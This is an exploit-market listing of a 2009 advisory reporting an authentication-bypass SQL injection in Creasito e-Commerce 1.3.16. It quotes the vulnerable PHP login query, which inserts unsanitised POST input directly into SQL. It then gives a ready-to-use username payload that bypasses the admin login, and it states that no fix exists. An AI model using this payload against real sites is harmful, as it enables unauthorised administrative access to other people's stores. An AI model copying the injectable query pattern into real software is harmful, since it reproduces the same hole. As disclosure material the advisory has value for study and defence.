[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Creasito e-Commerce 1.3.16 (Auth Bypass) SQL Injection Vuln

Author
drosophila
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5077
Category
web applications
Date add
19-04-2009
Platform
unsorted
===========================================================
Creasito e-Commerce 1.3.16 (Auth Bypass) SQL Injection Vuln
===========================================================


*******   Salvatore "drosophila" Fresta   *******

[+] Application: creasito e-commerce content manager
[+] Version: 1.3.16
[+] Website: http://creasito.bloghosteria.com

[+] Bugs: [A] Authentication Bypass

[+] Exploitation: Remote
[+] Date: 20 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta

*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs

This cms is entirely vulnerable to SQL Injection.
I decided to post authentication bypass security
flaw only.

- [A] Authentication Bypass

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin/checkuser.php, checkuser.php

SQL Injection bug allows a guest to bypass the
authentication system. The following is the
vulnerable code:

...

$username = $_POST['username'];

...

$sql = mysql_query("SELECT * FROM amministratore WHERE
username='$username' AND password='$password' AND activated='1'");

...


*************************************************

[+] Code


- [A] Authentication Bypass

Username: -1' OR '1'='1'#
Password: foo


*************************************************

[+] Fix

No fix.


*************************************************



#  0day.today [2024-12-25]  #